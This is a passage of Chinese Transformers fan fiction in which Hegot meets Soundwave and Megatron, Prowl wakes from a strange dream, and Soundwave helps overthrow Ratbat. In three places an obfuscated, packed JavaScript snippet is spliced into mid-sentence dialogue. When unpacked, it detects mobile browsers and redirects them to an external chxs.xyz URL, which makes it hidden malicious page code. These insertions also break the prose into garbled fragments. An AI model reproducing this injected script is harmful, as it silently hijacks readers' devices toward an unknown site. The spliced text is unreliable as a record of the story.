声波摇头:“大镇压:已接近尾声。卡隆已经沦陷,白天:人数依旧稀少。” 他用了“沦陷”这个词,立场或许是站在霸天虎一方的,那么造成沦陷的多半就是御天敌了。 “但你们看上去没什么事。” 海格特看向他身前的位置,那里被改造成了类似磁带仓的结构,此刻安放着两颗火种。 是激光鸟和圆锯鸟。 机器狗去哪里了?海格特想起来,他们应该在月卫二工作。 “我们有特殊途径。”哪怕无法读出心声,声波还是看出了他的疑惑,“月卫二:职务期满。现为蝙蝠精议员效力。你的情报来自安保部队总部人员心声。当前行动:引荐目标与重要人物会面。” 精确提炼过的情报,而且全是他想问的。 从这几乎听不出感情的话语中,海格特感觉到了信任。 这种信任似乎毫无来由,但声波的火种一直和他的外表不符,所以这点问题暂时被抛在脑后。 “要让我见的重要人物,指的就是蝙蝠精?” “否认。情报:无法提前透露。” “那听上去就没有跟你过去的理由……” 声波只是默默看着他:“机器狗也在那里。” “请带我去。” 海格特立马改口,甚至还加快了脚步。 卡隆的夜晚几乎是卫兵和罪犯的天堂,完全不是夜间散步的好地方。 但他们一个是读心能力者,一个能看见火种,几乎不需要额外的交流,就毫不犹豫地选中绕开所有眼线的道路,甚至还有工夫闲谈。 但附近大楼的广播屏幕上报道着新闻。 汽车人安保部队在近期的行动中出现了两名牺牲者,他们的名字是车顶和保险杠,而葬礼已经在国家公墓悼念礼堂举办完毕。 “声波。” 在听见这件事时,转头看着播报的海格特突然问道。 “是你杀了他们吗?” 明明声调不高,却足以回响在嘈杂的播报音之间。 如果我回答“是”,会看到什么反应呢?声波稍微这样想了一瞬。但那样就是说谎了,会被马上看出来,所以没有用。 最后他还是说了实话:“否认:仅读取其记忆数据。” 然而海格特没有如他所想的那般,露出放松的表情,反而就像是从一开始就不在意这个回答似的,问起了其他事。 “你对记忆有研究,那我有个问题想请教。” “什么?” “在奥提雷克斯的时候我做过机体检查,”海格特说,“当时在神经网络存储区域没有找到我的记忆数据。然而在下线期间却突然想起了,这在技术上是有可能的吗?” 声波思考了一会儿:“可能是因为通往记忆区域的通道在物理层面上已经被消灭。但那个区域又的确存在,只是需要一些特殊途径激活,有没有其他线索?” 讲起技术上的问题,终于愿意正常说话了。 海格特有些感动地想了一下,接着道: “我听到了一些类似于‘协议开启’的信息流,或许与这个有关。” “协议……”声波的光学镜闪烁一下,“我没听说过类似的情报,或许是造成了类似内存泄漏的状态,这样记忆就能毫无预兆地恢复,你想起的内容是什么?或许可以反过来判断。” 正是因为亲手改造过磁带,他才意识到,无论构成海格特的技术手段是什么,它都过于优秀了。 一边增加新的记忆,一边在下线期间填补过去的空白,并且同步修正人格的整合性,虽然性格改变了一些,但最终也没有形成分离性精神障碍…… 就连真正的塞伯坦人也做不到这种事。 “也没想起什么重要的。”海格特说着,看向眼前某座像是废弃工厂一样不起眼的建筑,停下脚步,“所以这里就是那个‘重要人物’所在的地方。” 里面的确闪烁着不少火种,机器狗也在。 在这座死气沉沉的城市,唯独这里的人兴奋异常,攻击欲和恐惧几乎充斥着整个空间,但在他们之中,有一颗奇异的火种静静闪烁着。 “他看上去心情不太好,”海格特喃喃着,“现在进去真的没问题?” 声波愣了一下:“你知道我在说谁?” “我不知道,但能被你称为‘重要’,那我想应该就是那位了。” 那颗闪烁着绿色光辉,在学术上被称为“特异点”的火种,用一个不恰当的比喻来说——如果其中的仇恨和愤怒可以转化成火焰,那将足以毁灭整个星球也说不定。光是看着,光学神经几乎都被灼烧疼痛。 虽然一开始只是为了见机器狗一面。 海格特想着。 但现在倒是不能放着不管了。 —— ———— 卡隆,地下角斗场。 通往后台维修间的通道前,等待多时的诈骗看见一个熟悉的身影走进来。 “别触霉头。”他出言提醒,“威震天老大今天打了场硬仗,之前修好的胳膊又破损了。” 声波径自向里面走去,看都没看他一眼。 倒是走在后面的海格特在打量四周后,跟诈骗打了个招呼。 “你为什么坐在这里?”他问。 看上去不是医疗单位,也不是战斗单位,但却守在维修间前。 “噢,多可爱的问题。”紫色光学镜的塞伯坦人咧着嘴笑了,摊开手,“答案有很多种,他们叫我‘走狗’、‘二道贩子’、‘机会主义者’……在这种地方情报就是金钱,怎么样,你想不想知道点细节?” “需要付钱吗?” “用你的名字交换就可以。” “海格特。” “海……什么?” 诈骗突然不出声了,他站了起来,瞪大眼迅速上下打量海格特了一番,然后低下头。 “当我没说吧,你请进。” 又一件奇怪的事。 但发现诈骗已经在理由不明地害怕了,海格特就没有再为难他,走进了维修间。 然后更奇怪的事发生了。 “离开这里。” “?” 迎来了这样劈头盖脸的一句,才刚进门的海格特不由得眨了下光学镜,发现坐在维修椅上的那位灰色的大型机正冷冰冰看着自己,满脸写着“别挑战我的耐心”。 但和他的话相反,火种倒是没显示出多反感的波动。 这种矛盾让海格特顿了一下,开口问道:“为什么要说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918900|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种话?我们才刚见面。” “我对机器没什么好感。” 会知道这一点,看来声波已经告诉过他情况了。 海格特看向旁边深蓝涂装的塞伯坦人,后者一言不发,从火种来看,他也对目前的状态有些困惑。 “是吗?”海格特说,“那你的思维可能有点过时。” 话音未落,被挑衅的角斗士就将手臂上口径恐怖的融合炮对准了他。 从那表情来看,没有立刻开火把他干掉就已经算是不可思议。 “你觉得你很先进?” “这不是评判我的标准,”海格特看都没看那正在充能的武器一眼,继续直视着威震天的光学镜,“要杀了我吗?在这里的这具机体只是个承载意识的终端,死亡对我来说一点影响也没有,而且你也没有理由非要这么做。” 威震天冷笑了:“倒是很有机器的样子。” “我就是机器。” “我听到的版本可不是。”威震天说,“‘普神的遗产’、‘普神遗留的兵器’——那些诗歌和文章上都这样称呼你。” “诗歌?” “百万年前的诗歌,近期才公开。” 那是什么东西? 这是海格特的第一反应。 但几乎是下个瞬间他就意识到了什么,神经元的电信号发出一阵抽疼,一个名字再次闪入脑海。 ——震荡波。 除了他之外不会有任何人做这种事,为了什么?难道那人试图用这种方法让塞伯坦人接受他吗? 不,不会这么简单。 如果是他认识的震荡波,肯定有什么更严重的计划。 海格特稍稍考虑了一下,但是身体马上警告他不要这么做。如果真的寻找到了那个理由,精神毫无疑问会发狂。 这样想着,手指不自觉攥进掌心,发出金属收紧的咔咔声。 看着他的反应,威震天像是总算感到满意似的放下了武器。 “还不错。”他解除了武器充能,“我不需要无法感到痛苦的东西来帮我建功立业。” 海格特挑起眉:“一个角斗士需要我来建功立业?让我帮你在场上作弊吗?” 声波忍不住,不着痕迹地看了他一眼,但紧接着他忽然听见了威震天的笑声——从他的心声中传出来的。 “你只要按照自己的想法去做啊,毕竟你是元始天尊遗留的机器,不必特地问我的想法。” “的确我能做的事情不少,但不意味着什么都可以实现,比起用神的名义来嘲笑我,你更应该告诉我霸天虎的目的究竟是什么。” “我们会推翻现有的统治,建立一个不再有欺骗的新体系。” “只是推翻统治,而不是废止权利本身,也就是说你不拒绝统治他人。”海格特看着他,“那么即使理想变成现实,你也不会快乐,更可能会陷入茫然。” 那颗充满生机的火种……如果是过去的自己,肯定会期待这个人为几乎永不改变的世界带来新的转机。 威震天哼了一声:“这是劝说?” “不,是预言。” “那你可以预言一些更近的东西。”灰色机体的暴君从容地说着,“比如一场战争马上就要开始了,我们和御天敌之间的战争。” 战争。 又是战争。 然而这次,海格特没有再表现出任何情绪。 “可以啊。”他只是平静地作出又一个预言,“如果你所说的战争发生在近几日,他的得力副官就不会到场。” 毕竟警车刚被他用能力弄昏迷了。 28.第二十八章 警车做了一个梦。 梦中的他没有躯体,没有逻辑电路……所以这是他正式上线前,只有一个火种的时候发生的事。 这怎么想都很荒唐,毕竟没连接到脑模块上的火种不可能有记忆,连这种功能都不可能有。 所以这只可能是一个梦。 在那个梦中,他全身放松地溶解在一片极浅的蓝色里,就像是伸懒腰时那种很舒服的感觉,意识能延伸到很远的地方,这个世界没有边界,大概是无限的。 没有未来或过去,他就这样处于世界的中心……全然地漂浮。 要是能一直呆在这里也挺不错。 梦中忘记了自己身份的警车忍不住这样想。 想永远这样下去,想一直留在这里。 但是梦终究要结束。 那一刻没有任何前兆,暴力般地到来—— 天空裂开一个黑洞洞的大口子,他像是从爆炸性失压的机舱里被吸出去,哪怕万般不舍也被强行拽出去。 自我的边界出现了,那一瞬间的痛苦让人想发出哀嚎,简直就像一些碳基生物在诞生时的啼哭。 但是连这点时间也没有,他就充满苦闷地离开了那片浅蓝。 “你好。” 一个无比温和的声音对警车——准确来说是他的火种打招呼。 那人似乎是想安抚他的情绪,轻轻拍了拍他,当他的手碰到火种时,所有的疼痛与痛苦都不可思议地缓和。 “以后你的名字就是林格(Linger),”那人说道,“……抱歉,差点忘了,应该说‘来自尤斯的林格’,你们起全名时习惯加上地名,希望没跟别人撞名。” 这个声音莫名有些熟悉。 警车想睁开眼看,只有一颗火种的他当然没有视觉,但似乎感觉到了蓝色,让他想起上线前的那片浅蓝色海洋。 所以他安静下来。 直到一种奇异的感受,让他想起了这个声音是谁发出的。 海格特? 几乎是这样想着的下一秒,警车猛地从梦中醒来,他似乎失去意识了很久,眼前是陌生的纯白天花板,空气中漂浮着一种消毒剂的气味,神经电路一阵阵地传来针刺般的感受。 他抽了口凉气,从充电电路板上坐起来,机体感受到的重力是现实的证明,警车捂着发疼的脑袋,努力思考着。 好像做了个什么荒唐的梦。 明明自己来自云雾山城,由火种拼接技术诞生,怎么可能来自尤斯,还叫别的名字。 甚至还梦见了海格特。 好吧,看来是因为那个人类似电磁脉冲的袭击,神经元不稳定了,甚至把各种乱七八糟的记忆素材拼在一起,自己才做了个有关他的噩梦。 就在这时,警车忽然听见了走路的动静,好像有人正在蹑手蹑脚地往门口走。 “什么人?”他斜着视线看去,还没完全运转好的光学镜只模糊地看见一个熟悉的黑白配色机体,“爵士?” “呃、噢!队长你醒了,真好,我还以为你要再休息一阵。” 似乎是为了掩盖离开被发现的尴尬,爵士一副刚发现的样子,尴尬地笑着,几步走了回来。 完咯,这下没有几个小时的报告走不了了。 自己就不该摸鱼出门去听什么吉他演奏,回来的时候队里那帮该死的家伙已经把向警车报告的事挂在他任务栏里了。 “告诉我现在的情况。”警车说。 “真的现在就要吗?我觉得你该再休息休息,要不我先去叫医生……” “不用了,现在就报告。” 唉。 “好吧,如果你想知道——我们围捕霸天虎的行动彻底失败了。” “哦,”警车看上去还挺淡定,“具体是怎么回事?” 于是爵士把事情说了下去。 “按照之前的计划,我们根据信号反追踪找到了霸天虎的藏身处,包括威震天和那几个seeker在内应该都在那,你不在的时候,御天敌长官指派了别人做临时指挥。” 小队配制了齐全的禁锢夹钳和抑制锁,先是潜入建筑附近,然后在威震天对他那堆追随者号召演讲,把所有注意力都吸引过去时,向建筑内部投放信号阻隔器和烟雾弹,全面突入,展开抓捕。 警车听到这里,叹了口气:“过早投放信号阻隔器是个愚蠢的决定,所以失败是因为这个导致的?” “是也不是,”爵士摊手,“我们突入的时候发现一个人也没有,霸天虎根本就不在那个定位点,威震天的演讲只是一段AR影像和录音。” 警车点了下头:“被他们抓走的狄西莫斯议员呢?” “也不在。所以长官发了好大的火,哇,那是真的刺激,我现在想起来都想配上一段重金属。” “……” “老兄,你的逻辑模块真检测不到幽默吗?” 回答他的是警车毫无感情的一句“说正事”。 于是接下来,爵士站在那里回答了好几个塞星时的问题,从行动细节、现场照片痕迹、行动时每个人说的话,做的事……仿佛要把一切在分子层面上切开调查一遍似的。 说真的,他快被烦死了。 “报告队长,”就在警车第三次问起当时建筑外的车痕时,他忍不住打断道,“我是真不知道霸天虎怎么提前得到的信息,实在不行你查我脑子吧。” 他已经生无可恋了。 “哦,那倒不用,”警车正保持着沉思的姿态,“我知道他们怎么得到的消息。” 你知道还问我!? 爵士开始理解为什么其他人不惜得罪自己,也要把跟警车交接工作的活推过来了。 他脱力地靠在墙边,好脾气地做了个深置换,问道:“好吧,那无所不知的队长能不能告诉我他们怎么知道的?” 警车狠狠皱起眉,语气有些烦躁:“这还用说吗?因为他们有海格特……” “啥?” 爵士刚想问清楚,突然看到警车睁大光学镜,露出一副“坏了”的表情,似乎是逻辑模块总算正式上线,意识到了什么不好的事。 警车看了看四周。 是因为爵士在这里的缘故吗?还是因为刚才视觉模块没有正式上线,自己一时大意,居然没意识到这么关键的事。 “这里根本不是安保部队的维修间。” “对,我还以为你早就注意到了,部队的维修间怎么可能这么空,那些镇压行动里受伤的可不止霸天虎。” 爵士说着,忽然看到警车从臂甲下的内置空间拿出一个圆形的东西,伸手递给自己。 “这什么?” 他接过来仔细端详着,在光线照射下似乎能看出一些复杂的电子结构,但总体上还是个竞技球。 “酷啊,我怎么不知道你还有打球的习惯?”爵士双手连续抛了几次。 “不,这是一颗伪装成电子竞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14943184|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 技球的炸/弹。” “……?” 爵士顿时停下动作,一副“你疯了”的表情,连护目镜都罕见地闪了两下。 “挺好,我刚刚说了机密内容,”警车严肃地说,“如果十分钟后我们出门时发现情报泄露,就用这个跟对方同归于尽。” “不是你……你怎么总是这么极端呢!?” 警车没有理会爵士的抗议,他开始思考起接下来的行动方案。 最坏的情况下,要考虑海格特的定位能力能完全为霸天虎所用,这样一来正常的战术思路几乎全都没用了。 除非安保部队这边也制造出类似的高效机器,或者找出海格特本身的特性,破坏他的功能,如果能研究出屏蔽他观测的材料……不,最好不要抱有这种期待。 警车打开数据板,几分钟下来已经算出一些模糊的方案,然后他忽然想起什么,调出网上流传的,据说是从两百万年前的黄金时代留下的诗句。 在当年御天敌公布海格特其实是机器后,有一小部分声音指出这些内容和海格特有关,不过没有得到广泛认可。 里面有几句是这样说的: 因迷途而受苦的徘徊者,向那深沉黑暗中唯一的光亮跋涉。 失落的灵魂四处游荡,终得见神的遗产: 【你是古老的,你是年轻的。 你要打开至高之门,那是通往天国的路。】 “至高之门”,再加上“天国”这种让人想起赛托邦的词汇,让海格特在小部分极端普神信徒或者理想主义者之间受到了特殊关注。 但没有任何书面资料显示海格特是黄金时代的造物……从这个方向真的能抓住什么线索吗? 警车思考着,就听见被晾在一旁的爵士的声音: “我可以走了吗?” “可以,不过最后再回答我一个问题,长官的新副官是谁?” “什么新副官?” “我被革职了吧,不然也不会被送到外面的诊所。” 爵士忍不住笑了:“你想得美,没人打算替你触御天敌长官的霉头,你之所以在这里,是因为常规医疗真的发现不了你为什么昏迷锁死。” “昏迷锁死?” “对啊。” “这不可能。”警车斩钉截铁地说。 锁死的机体整个神经层都会临时关闭,怎么可能还有神经元信号反应?自己刚刚可是做了那么长一个梦。 “你否定我也没用啊,我又不是医生。”爵士说。 “那是谁治疗的我?” “是……” 爵士刚要开口,维修间的门就被打开了,从外面走进来一个橙白色涂装的机体。 “怎么的?”救护车面无表情地拿着扳手,一下下敲着自己的掌心,“我刚刚在外面听见有人要跟我同归于尽?” 他说着,看向拿着炸/弹的爵士,后者尴尬地笑了一下,将炸、弹塞回给警车。 “您误会了,这是我给他的探视礼物。” “用这个做礼物?” “对,这是我们安保部队的一种习俗。” 警车没听他胡扯,默默将炸/弹放回手臂的内置空间。 现在神经放松了一些,他开始有点担忧被抓走的狄莫西斯议员怎么样了,这倒不是担心他本人,而是意识到议会大概率又要失去一位议员,霸天虎的势力比例又要增加。 ……又或者,这只是个开始。 29.第二十九章 “死去的矿场工人没有意识到自己已死的事实。” “死去的矿场工人们在矿洞深处徘徊,然后看到了散落在地上的能量液。” “他们小心翼翼地将那些泛着光亮的血迹拾起,沿着痕迹往前走,直到发现自己倒在冰冷机械下的尸体。” “矿工们在尸山前久久伫立,最后消失在洞窟刺骨的寒风中。” “事到如今,塞伯坦人做的事情也只是沿着能量液的痕迹前行而已。” “怀着对未来的憧憬,忙着拾起地上一滴滴的血,但似乎从未想过,这到底意味着什么?” “只能意味着,我们正在以惊人的速度走向死亡。” “又或者我们早已死去,而存在的不过是遗骸而已。”* “……” 卡隆,霸天虎临时基地,地下某空间走廊内。 海格特读完那首标题为《巡回》的诗,有些发愣地放空了一会,然后将手里的数据板还给旁边的声波。 “你刚才说这首诗的作者是谁?” “诗下面的署名是威震天大人的笔名。”声波说到这,又顿了一下,“这目前是个秘密。” “我明白了……” 海格特低下头,他试着将那名暴君般的角斗士与眼前的作品联系在一起,试了几次都没有成功。 “我没想到他的文字会这么……冷静。” 不如说会写东西这件事本身,就与那个人的火种气场不和。 “因为这是在那场暴动发生前写的,”声波说,“我还有他的其他作品,以及《和平之路》最初发布在网上的版本,一会儿发给你。” “好的,”海格特说,“你刚刚说暴动,是指什么事?” “前不久,C-12矿源地的暴乱。”声波说着调出一份报告,将数据板递给海格特,“也是霸天虎崛起的契机。” 海格特接过数据板,标题上写着:【B级空域事故报告】(片段)。 因法律规定,在自动化设备正式启动前,由一名参议院的议员前往矿源地向工人宣布停工的消息……演讲过程中,议员在试图安抚工人情绪时遭遇暴力袭击。 随行安保部队成员在镇压暴动后,剩余犯人由“长枪号”运囚船收容……飞船在前往监狱H-3中途偏离航线,并向议员所在的主舰方向开火,在卡隆一代失踪。 “这是事实吗?”海格特问。 “是的。”声波回答,“内容:部分未公布——首先开火的是议员的卫兵,有一名矿工质疑他们不会给下岗的人寻找新工作,就被一枪处决,当时作为核子矿采集工人的威震天大人替他报了仇,这就是一切的起因。” 沉默回荡在走廊上,他们继续往前走,最后在某个牢房前站定。 海格特的视线透过牢房的栅栏,看向里面。 坐在牢里的是一个身形高大的塞伯坦人,身着披风,一身气宇轩航的涂装和他萎靡颓废的表情完全相反。 “你好,狄西莫斯议员,‘十常侍’之一。”就像没意识到对方的窘境,海格特打了个招呼,“我看过新闻,他们给你造了座巨大的雕像。” 就是在那座雕像的竣工仪式当天,几名霸天虎的追踪者袭击现场,并且抓走了狄西莫斯。 听见说话声,参议员也抬起头看向他。 眼前这台名义上已经彻底遭到销毁的机器,最近不知道为什么又出现了,还和霸天虎呆在一起。 “御天敌明明说你已经……” “你是想控诉他骗了你吗?”海格特有些困惑,“明明你也在欺瞒,如果默认了可以欺骗,那么也就相当于默认了可以被骗才对。” “荒唐的指控。”狄西莫斯捏紧拳头,“我在战时保障了资源供应,让所有城市的能源不至于短缺,这份壮举甚至为我赢得了一座雕像,但他们呢?只会毫无意义地发动暴乱,挑起战争、滥杀无辜!你知道等我死后,多少人会因此挨饿受苦吗?” 义愤填膺的言辞,但是,这个人在害怕。 海格特从火种中读出了这一点。 狄西莫斯恐惧死亡,所以他试图证明自己的清白和正义,然后博取信任。 换言之,他觉得海格特和霸天虎不是一伙的。 这也难怪,毕竟之前在威震天即将下令处决狄西莫斯时,海格特用自己之前帮霸天虎逃离抓捕的事为由,又提出战时资源紧缺,狄西莫斯可以作为自己的实验对象,才暂时留了他一命。 “我看过你的履历。”这个议员说,“你曾经在奥提雷克斯进行科学研究,我可以让你回到大学去,也可以申请解除对你熟人的通缉……” 听见这些言论,一旁的声波开始给肩炮充能,但是被海格特摇头制止。 “很遗憾,实验是真的,我需要这么做。”他平静地说,“不过在那之前我有个问题——你去C12矿源地,本来打算怎么处理那些下岗的工人?” “当然是给他们找到新的工作。” “具体来说是什么?” “是……”狄西莫斯一时语塞。 “没有提前想过。”海格特说,“不用编了,我不会勉强你。” “可是这种事总会发生,有了新的机器难道不该用吗?类似的事已经发生过很多次了,说到底,我们都是大机器上的小齿轮而已,这是为了这颗星球的运转!” “以前发生过很多次,这倒是实话,”海格特垂下视线,“但哪怕一次也好,但凡你们想过办法呢?” 狄西莫斯还在喋喋不休,但海格特没有再听。 这里的隔音不太好,他能听见来自上层的动静,听上去霸天虎迎来了新的成员,因此威震天正在发起一次动员。 ——“我们想要的只是平等,是推翻不公正的统治后,建立一个和平的塞伯坦。” ——“但他们不允许,他们不择手段地打压我们,指望我们卑躬屈膝,现在是时候反抗这一切了!” 他不由得开始理解声波、机器狗,还有更多人选择追随威震天的理由。 “检测到讽刺,结论:好笑。” “什么讽刺?”海格特看向声波。 “你在倡导人性,而他在提及效益运转。” 一台机器和一名议员,对彼此说着颠倒立场的话,简直就像一场笑剧里的内容。 海格特思考了一下:“好像的确是,我都没意识到。” “询问:是否加入?” “……” 的确,眼下无论是理由还是气氛似乎都已经被鼓动到一个无法忽视的地步。 然而。 “‘追随’这个词对我来说太难了,我很遗憾。” 海格特摇了摇头,然后侧过目光,看向声波黄色的护目镜。 “刚才的那些还不足以让我忘记,你们在角斗场和工业区那些过头的暴力行径,或许会有人因为愤怒而忘我地投入其中——就像今早改名并加入你们的那位年轻人——但那不会是我,你应该明白吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951898|156015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他点出了声波的意图,而后者保持沉默,似乎并不打算解释自己一直在为威震天和霸天虎营造出一个过于完美的形象的事实。 与此同时牢中的狄西莫斯似乎正说到一些御天敌会逮捕所有霸天虎之类的事,这一次,海格特回复了他。 “汽车人安保部队总部在30循环之前就已经满员,现在几乎全星系的监狱都塞满了霸天虎主义者,你们还要逮捕,是打算把他们放到哪呢?”他说着的同时,声波已经架起一台检测设备,略作调试,“人数控制不住,怎么想都只会造成更多的暴乱和牺牲。 最后一件事,麻烦你帮我向御天敌领袖说一句话。” 这话似乎预示着被释放的未来,但狄西莫斯只感到脊背发凉。 “就告诉他——如果不快点找到它,可能会死的。” 说完,不等这个年老的议员多问,他就使用能力让狄西莫斯晕倒在地。 “数据怎么样?”他看向声波。 “正在分析:狄西莫斯的脑模块电波层,刚刚一瞬间出现了极高的波形,目前意识显示极度薄弱,疑似丧失所有神经反应。”深蓝色涂装的霸天虎思考一会儿,有些不确定地做出了总结,“结论:他死了。” 海格特想了一下:“不会,这个能力不会杀人……你说的波形是什么?” 所有被他用过能力的人,都没有留下任何后遗症地醒来。 于是声波再次测算起数据,过了一会儿,他看上去更疑惑了,按照他的意思,刚刚一瞬间产生的能量波形其实是一种数据流,数据量大得难以计算,但因此产生的能量却极少——可能只有一个灯泡那么多。 “我知道了。”海格特点头。 果然,这个能力根本不是类似电磁脉冲那样的震慑冲击波,它甚至不是一种攻击。 声波若有所思地看着他,但海格特没有继续解释,只是说:“从效果来看,把它看作低消耗的EMP装置也没有问题。” “否定:我不是在打听你的能力,你刚才说‘如果不快点找到它,可能会死’,是指找到什么?” “原来是问这个。” 海格特还没说完,忽然看见声波的磁带仓自行打开了,从中一冒出一张磁带变形。 “这小子是在说领导模块。”机器狗抖了抖刚变形完毕的身体,然后抬了下前爪,“好久不见,你闻起来变了不少,不过我不讨厌。” “你好!”海格特半蹲下去平视机器狗的目光,“见到你真高兴。” 他知道机器狗不喜欢肢体接触,所以没有伸手去碰。 “以后再叙旧吧,现在我有个问题。”黑色的兽形金刚问他,“听你的意思,是要把这个抢占能源、无视矿工人权的垃圾给无罪释放了?” 他抬爪指了指狄西莫斯。 “嗯,”海格特毫不犹豫地点头,“能拜托你吗?” “我有什么理由那么做?” “他会带我们找到御天敌。” “好,在那之后我就撕了他。” “但是火种可以留给我吗?” “……啧,现在你就算说你其实是个火种吞噬者我都不会奇怪了。” 机器狗看了他一会儿,不知道是怎么发了一声咋舌。 “我是个战士,虽然会暗杀,也会玩弄对手,但做不出把敌人当标本一样赏玩的举动。” “你觉得这样做很残忍?” “不,正相反——你的想法近乎于爱,而我可不爱他们。” 30.第三十章 “由于工业区域遭到大面积破坏,公司预期收益大幅下跌,损害造成的连锁影响预估还将持续三十循环。” “汽车人安保部队已进入东部所有环规行省,但遭到抵抗。” “有犯罪团伙入侵运输中心,资源流通被迫中断,恢复时间仍需计算……” 铁堡,某底下防空洞内。 一片黑暗中,蝙蝠精议员坐在秘密基地的椅子上,四周亮起的屏幕上播报着新闻,他一边看着一边思考,指尖在桌上有一下没一下地敲着。 和以往那些劳工纠纷完全不同,这次的霸天虎运动是认真的,战争马上将在卡隆打响,铁堡也不一定安全。 作为最早一批意识到这一点的人,蝙蝠精却没有急着抛售资产,而是调出一个页面。 “果然。” 他冷笑了一声。 这种时候,大多数元老院的人都在忙着捞钱或者巴结领袖,指望自己的地盘能得到特殊照顾,从资金流动情况很容易就能看出来。 他们还在垂死挣扎呢,都被局势冲昏头脑了。蝙蝠精心想。 要是把钱给逆天劫,说不定还有点用,但给一个汽车人安保部长出身的领袖?这个自尊心比塞伯坦还大的家伙大概只会觉得这些都是参议员应该做的。 投资回报率可以说无限接近于零,不反咬一口都算他心软。 蝙蝠精看了眼自己之前的武器投资基金,现在是它们发挥作用的时候了,比起押宝在御天敌身上,他有更能赚钱的路子。 “……嗯?” 在翻看自己很早就买通的资金流动时,他突然注意到一个异常数据。 在所有大额度的流通中,有一个人的行动很奇怪,他几乎将所有个人资金都投入了受灾地区援助、保护区建设甚至星际飞船这样无聊的事情上。 事出反常,蝙蝠精仔细查了一通,很快就从一个眼熟的账号匹配到了对方的身份,那是个前·哲拉萨斯先进技术学院的投资人。 也就是说,大概率是震荡波的假身份。 “我还以为他消失这么久是干什么去了,结果是不敢直面动乱和战争,开始给自己打造圣人形象。”他忍不住讥讽道,“这么做是指望霸天虎给他个痛快吗?那帮疯子未必会这么好心。” 不过在最初的嘲讽后,生性多疑的蝙蝠精又感到不对劲。 哪怕已经失去议员的身份,震荡波应该也不是这种个性。 如果他还是自己认识的那个议员,比起这些不痛不痒的救助,他更可能去加入安保小组,或者加入霸天虎,总之他会直接站个队,然后做些更实际的举动。 眼下这么坚决的散财行为,难道是掌握了某些自己不知道的关键情报? 不管怎么说,震荡波的那些科学研究在战时会有很大用处,如果他现在正好缺钱,自己也能捞一笔。 这样想着,蝙蝠精随手呼叫了震荡波的联络线路——为了构建情报网,他私下查到了很多人的线路。 接通后,他自己先开了口: “还记得吗?当年你刚刚成为参议员,宣布要以哲拉萨斯的名义建立先进技术学院的时候,我可是第一个鼓掌的。” “……蝙蝠精?你有什么事。” 声音很模糊,对面的人似乎正在什么信号不好的地方,但设置了加密程序,正在以毫秒为单位切换着地址,蝙蝠精试了一下,无法入侵。 “没什么,就是无意间得知你最近好像很缺钱,”他故作轻松地说,“在这种动乱的事态里谁也不容易,要不要跟我做个交易,看在老熟人的份上我可以给你一大笔技术投资,只要小小的回报。” 线路对面沉默了,过了一会儿,似乎是传来一声隐约的叹息。 “我跟大多数参议员都没什么交情,尤其是你这种投机分子,”震荡波的声音听上去不太高兴,“但也看在认识一场的份上,我给你唯一一次忠告:尽快把资产还给你辖区里的人,然后封锁填埋所有同往地下的道路。这样说不定事情还有回转的余地。” “你在说什么鬼话?”蝙蝠精皱起眉,“好吧,当我没说,你曾经坐到议员的位置上却整天想着那些不切实际的理论,怪不得沦落到今天这个……” 他还没说完,就听见通讯中断了,与此同时,身后传来某个人的脚步声。 “声波,你来得正好。” 蝙蝠精随手将通讯器扔在桌上,自己转头继续面对大屏幕。 “我已经重新拆分了城市资金,正在重新规划资产,你来将这些数据备份后导入数据盒。” “提问:数据内容。以及是否汇报交易情况。” “都是些宝贵的行省数据资料,动作快点,我要抛弃这个据点了,至于跟霸天虎那里的武器交易,你一会儿再汇报也不迟。” 只有将武器卖给霸天虎和安保部队双方,让战争尽可能持久进行下去,才算是谋取最大利益。 等这里的工作完成,之后就是持续离间,新闻台那里的情况不知道怎么样了,如果不行就买几个地下电台。 然而他等了十几秒,声波还是没有过来,并且眼前屏幕上的信号也一直运转不畅。 “声波?” 蝙蝠精有些不耐地回头看了一眼,只见自己的心腹助理站在阴影里,面罩和护目镜让他的表情完全不可见,以往像是路边石子一样沉默的态度里,居然有些恐怖。 并且,他手里拿着的东西是一个信号屏蔽器。 “你倒戈了,对谁?霸天虎吗?”他迅速判断了情况,拿出一个控制器,“但你不会以为我对这种情况毫无准备预案吧?你的磁带仓都是我出钱改造的。” 声波依旧没有行动,然而就在蝙蝠精即将按下控制器的瞬间,他看到声波身后的黑暗中又走出来一个人。 紧接着,他的意识就被剥夺了。 “在有强力信号屏蔽的情况下依旧成功了。”海格特思考着,“看来这个能力的优先级很高。” 在他说话的时候,声波已经走上前去,用宛如外科手术般精准的动作将蝙蝠精的火种和脑模块取出,安装到提前准备好的兽形金刚机体里。 